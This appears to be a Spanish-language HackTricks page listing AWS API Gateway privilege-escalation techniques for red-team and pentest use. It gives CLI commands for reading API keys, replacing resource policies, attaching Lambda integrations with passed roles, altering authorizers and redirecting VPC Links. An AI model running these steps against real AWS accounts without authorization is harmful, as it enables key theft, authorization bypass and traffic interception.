AWS - Apigateway Privesc

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

• Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!

• Consigue el merchandising oficial de PEASS & HackTricks

• Descubre La Familia PEASS, nuestra colección de NFTs exclusivos

• Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.

• Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.

Apigateway

Para más información, consulta:

pageAWS - API Gateway Enum

apigateway:POST

Con este permiso puedes generar claves API de las APIs configuradas (por región).

aws --region <region> apigateway create-api-key

Impacto Potencial: No puedes realizar privesc con esta técnica, pero podrías obtener acceso a información sensible.

apigateway:GET

Con este permiso puedes obtener las claves de API generadas de las APIs configuradas (por región).

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impacto Potencial: No puedes realizar privesc con esta técnica, pero podrías obtener acceso a información sensible.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Con estos permisos es posible modificar la política de recursos de una API para darte acceso a llamarla y abusar del acceso potencial que la puerta de enlace API podría tener (como invocar un lambda vulnerable).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impacto Potencial: Generalmente, no podrás escalar privilegios directamente con esta técnica, pero podrías obtener acceso a información sensible.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Necesita pruebas

Un atacante con los permisos apigateway:PutIntegration, apigateway:CreateDeployment y iam:PassRole puede agregar una nueva integración a una API REST de API Gateway existente con una función Lambda que tiene un rol de IAM asociado. Luego, el atacante puede activar la función Lambda para ejecutar código arbitrario y potencialmente obtener acceso a los recursos asociados con el rol de IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Acceso a recursos asociados con el rol IAM de la función Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Necesita pruebas

Un atacante con los permisos apigateway:UpdateAuthorizer y apigateway:CreateDeployment puede modificar un autorizador de API Gateway existente para eludir controles de seguridad o para ejecutar código arbitrario cuando se realizan solicitudes a la API.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Eludir controles de seguridad, acceso no autorizado a recursos de API.

apigateway:UpdateVpcLink

Necesita pruebas

Un atacante con el permiso apigateway:UpdateVpcLink puede modificar un VPC Link existente para apuntar a un Network Load Balancer diferente, redirigiendo potencialmente el tráfico de API privado hacia recursos no autorizados o maliciosos.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Impacto Potencial: Acceso no autorizado a recursos privados de API, interceptación o interrupción del tráfico de API.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

• Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!

• Consigue el merchandising oficial de PEASS & HackTricks

• Descubre La Familia PEASS, nuestra colección de NFTs exclusivos

• Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.

• Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.